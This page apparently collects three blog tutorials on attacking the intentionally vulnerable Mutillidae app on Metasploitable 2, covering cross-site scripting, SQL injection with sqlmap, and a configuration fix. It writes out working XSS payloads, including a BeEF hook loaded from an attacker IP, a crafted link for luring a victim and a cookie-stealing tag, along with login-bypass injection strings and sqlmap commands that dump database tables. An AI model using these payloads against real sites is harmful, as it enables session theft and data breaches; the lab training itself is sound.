Tag Archives: mutillidae

Hacking with Cross Site Scripting

Cross site scripting or XSS is one of the top vulnerabilities of the internet.  In many ways, it is easy to test for.  Actually taking advantage of the vulnerability takes a little more creativity, but it is done every day, and can lead to a full compromise of both your own servers as well as those of your clients.

XSS basically means you are taking input from a user and printing it directly out to the HTML of the page without any kind of input sanitation.  So you can type in some Javascript code, and it will get run.

Setup Your Testbed

Mutillidae has some great XSS examples.  There have already been postings on how to get it setup and get started using Metasploitable 2.  I’ll be using the /mutillidae/index.php?page=dns-lookup.php page.

Attack

How do you find a vulnerable host?

The classic way is to simply add an alert tag, such as <script>alert(‘I am vulnerable’);</script>.  Try it on the Mutillidae page by adding that to the Hostname/IP page.

xss mutillidae

 

How do you attack that host?

First, we want to understand the difference between a reflective or non-persistent attack and a Persistent attack.  The example above is a reflective or non-persistent attack.  Basically whatever you enter in the textbox will be reflected on the next page.

A persistent attack is when the user’s input gets entered into a database, and then later is reflected on some other page as information gets pulled out of a database.  Mutillidae has an example where you can enter a blog posting.  Then any other user can read that blog and be affected by whatever XSS attack was entered.  This is often the more dangerous attack because it can affect more users.

Changing link locations:

Enter the following into the DNS lookup tool:

<script>var link=document.getElementsByTagName("a");link[0].href="http://google.com"</script>

After clicking submit, check out the “Home” page button.  It now goes to Google.com instead.

change home linkSure we’re just hacking ourselves right now.  But try it on one of the persistent XSS URLs (such as the blog posting link).  Now anybody that views your blog post has their Home link changed to google.com.

So we know how to annoy users.  But still not how to hack them.  Lets try hooking into BeEF.  See the previous post on starting/using the program.  Once the program is started, type the following into the box (change the IP for your Backtrack/BeEF installation):

<script src="http://192.168.1.6:3000/hook.js"></script>

Now you’ve hooked your browser into BeEF and you can do anything you want from the BeEF admin panel.  Again, you could hook all sorts of people if this were persistent XSS instead.  You could also just send your friend a link to take advantage of the XSS to hook him:

http://192.168.1.5/mutillidae/index.php?page=capture-data.php&cap=<script src='http://192.168.1.6:3000/hook.js'</script>

You can even obfuscate the javascript with hex or something if you want and it’ll still work.

Other ideas include trying to hijack the user’s session (<img src=”http://yourserver.com?id=javascript.cookie” /> to get cookie and steal the PHPSESSID).  Sometimes people do ping sweeps (you need to load a java module) and other things.

Metasploit has a framework called XSSF that you can try to use.

Other useful links:

Some XSS demos: http://www.thegeekstuff.com/2012/02/xss-attack-examples/
Various ways to test XSS vulnerability: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

SQL Injection and sqlmap

SQL Injection is one of the most common ways to compromise a web based system.  It begins with a website that doesn’t properly validate data that it is inputting into a database.  For example, a website could ask for your username and password.  After submitting that, the code could look similar to the following:

SELECT * FROM accounts WHERE username=’$username‘ AND password=’$password

So a normal username and password would look like this:

SELECT * FROM accounts WHERE username=’admin‘ AND password=’pa$$w0rd

But if you were a malicious user,  you could manipulate this to evaluate as true whether or not you have the right password.  If instead of pa$$w0rd in the password field, you put a SQL query of your own?  You could close the password field with another ‘, then enter OR 1=1 to make it so either the password or 1=1 can evaluate true (and 1 is always = 1), and finally do a SQL comment to take out the remaining ‘.  You end up with ‘ OR 1=1 — .  Notice there’s a space at the end of the –.  Without that, it doesn’t count as a comment.  So you end up with the following:

SELECT * FROM accounts WHERE username=’admin‘ AND password=’‘ OR 1=1 —

The statement may look weird, but it will evaluate you as true, and you would be logged in as admin.

The whole point is you can use this not only to gain access to pages you shouldn’t, but you can also dump the entire database and hopefully capture valuable information.

By the way, perhaps one of the best XKCD comics of all time is little Bobby tables.

 

Setup Your Testbed

Install Metasploitable 2 and use Mutillidae that comes with it.  The setup and the fix required for Mutillidae to work is described here.

Attack

How do you find the vulnerable host?

There are almost unlimited ways to perform SQL injection.  The truth is, it’s hard to test every combination on every input box or POST/GET variable (there isn’t always an input box).  Sometimes it is difficult to tell if SQL injection is even working.  Mutillidae makes it easy by printing out the SQL string in the error statement (as do many other websites by the way!), but not everywhere is the same.

While a scanner can never replace a human penetration tester, for these reasons I recommend a web vulnerability scanner to help you run a range of tests.  I think Acunetix is the best general web scanner you’ll find, but it’s expensive.  A comparison list of a number of commercial and open source products is available here.

How do you attack that host?

First thing’s first.  You’ll want to manually test.  You can manually craft your inputs with the help of some firefox extensions and online sql injection cheat sheats.

Once you’ve done this, you can try using sqlmap.  It uses SQL ninja moves to give you more information about the database, and can even often dump all the data for your viewing pleasure.  Sqlmap also conveniently comes with Backtrack under /pentest/database/sqlmap/sqlmap.py.  As a warning though: it isn’t stealthy.  Anybody looking at the web server logs would know right away what is happening.

You can see the help menu with all of the other options using sqlmap.py -h (or -hh for even more info).  There are many ways to do this.  For example, you can simply copy down the entire HTTP request (grabbed from the Burp proxy or something), put it in a file, and have sqlmap read it with the -r switch.  The way we’ll be doing it is just tell sqlmap what URL to go to, have it find the forms at that URL, and figure it out from there.

So first lets have sqlmap dump the databases:

$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=view-someones-blog.php” –forms –batch –dbs
[[snip all the stuff about figuring out which fields to inject on]]

sqlmap identified the following injection points with a total of 43 HTTP(s) requests:

Place: POST
Parameter: author
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: author=53241E83-76EC-4920-AD6D-503DD2A6BA68′ AND (SELECT 3192 FROM(SELECT COUNT(*),CONCAT(0x3a646b613a,(SELECT (CASE WHEN (3192=3192) THEN 1 ELSE 0 END)),0x3a6a7a6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ‘XDRr’=’XDRr&view-someones-blog-php-submit-button=View Blog Entries

Type: UNION query
Title: MySQL UNION query (NULL) – 4 columns
Payload: author=53241E83-76EC-4920-AD6D-503DD2A6BA68′ LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a646b613a,0x54657343436762477a65,0x3a6a7a6b3a), NULL#&view-someones-blog-php-submit-button=View Blog Entries

[12:45:37] [INFO] do you want to exploit this SQL injection? [Y/n] Y
[12:45:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL 5.0
[12:45:37] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

[12:45:37] [INFO] you can find results of scanning in multiple targets mode inside the CSV file ‘/pentest/database/sqlmap/output/results-01112013_1245pm.csv’

The options are as follows: -u tells it the URL to use, –forms tells it to use the form fields on that page for sql injection, –batch tells it to answer the default on all the questions, and –dbs tells it to list the databases on the server. As you can see, sqlmap figured out the author field was vulnerable (although it took 43 requests, hence the not very stealthy note), and then sent a bunch of additional requests to find the database list.  Now lets list the tables in owasp10:

$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=view-someones-blog.php” –forms –batch –D owasp10 –tables
[[snip]]
[12:53:16] [INFO] using ‘/pentest/database/sqlmap/output/results-01112013_1253pm.csv’ as results file
[12:53:17] [INFO] heuristics detected web page charset ‘ascii’
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

Place: POST
Parameter: author
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: author=53241E83-76EC-4920-AD6D-503DD2A6BA68′ AND (SELECT 3192 FROM(SELECT COUNT(*),CONCAT(0x3a646b613a,(SELECT (CASE WHEN (3192=3192) THEN 1 ELSE 0 END)),0x3a6a7a6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ‘XDRr’=’XDRr&view-someones-blog-php-submit-button=View Blog Entries

Type: UNION query
Title: MySQL UNION query (NULL) – 4 columns
Payload: author=53241E83-76EC-4920-AD6D-503DD2A6BA68′ LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a646b613a,0x54657343436762477a65,0x3a6a7a6b3a), NULL#&view-someones-blog-php-submit-button=View Blog Entries

[12:53:17] [INFO] do you want to exploit this SQL injection? [Y/n] Y
[12:53:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL 5.0
[12:53:17] [INFO] fetching tables for database: ‘owasp10′
Database: owasp10
[6 tables]
+—————-+
| accounts |
| blogs_table |
| captured_data |
| credit_cards |
| hitlog |
| pen_test_tools |
+—————-+

[12:53:17] [INFO] you can find results of scanning in multiple targets mode inside the CSV file ‘/pentest/database/sqlmap/output/results-01112013_1253pm.csv’

Notice this time sqlmap recognized it had already figured out the vulnerable settings and just ran with it.  Now lets get a full dump of that users table:

$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=view-someones-blog.php” –forms –batch -D owasp10 -T accounts –dump

sqlmap

As you can see, sqlmap is a very powerful tool.  We could have just as easily dumped all the databases and parsed through them later.

Always remember that something like sqlmap is just a tool for an intelligent user, and not the ultimate test of sql injection.  For example, try removing your output directory (rm -rf output) and run the following, trying sqlmap on a different page:

$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=login.php” –forms –batch –dbs

Doesn’t actually list all the databases for some reason, right?  Clearly SQL injection is working, but the sqlmap.py script can’t read all 7 databases for some reason.  Now remove the output directory again, and try it in a set of 3 commands:

$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=login.php” –forms
$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=login.php” –forms –batch
$ python sqlmap.py -u “http://192.168.1.5/mutillidae/index.php?page=login.php” –forms –batch –dbs

This one seems to work.  Weird, huh?  Just a good example of how a tool can make mistakes, so always double check.

 

Metasploitable 2 and Mutillidae

Metasploitable 2 (even better than the original Metasploitable) is a great way to practice your hacking skills.  I use it all the time for my sandbox setup phase.

Metasploitable 2 also comes with several vulnerable websites to practice your web exploitation skills.  My favorite is Mutillidae.  However, there is a small error in the Mutillidae setup on Metasploitable 2.  Thankfully, it is easily fixable.

The problem is that the database specified in the Mutillidae config file is incorrect.  You will know you are experiencing this problem if you click on something that requires the database and you get a bunch of header errors that don’t look quite right.

mutillidae errorsIn the example above, I simply clicked the Login/Register button on the top bar, typed something in for the username and password, and clicked Login.

To fix it, log into Metasploitable 2 (msfadmin/msfadmin), and open up the /var/www/mutillidae/config.inc file (you may need to use sudo).  Change the dbname field from “metasploit” to “owasp10″.  Save it, and try the login page again.

mutillidae configYou should get just a simple authentication error:

mutillidae goodNow you’re good to go with Mutillidae and Metasploitable 2!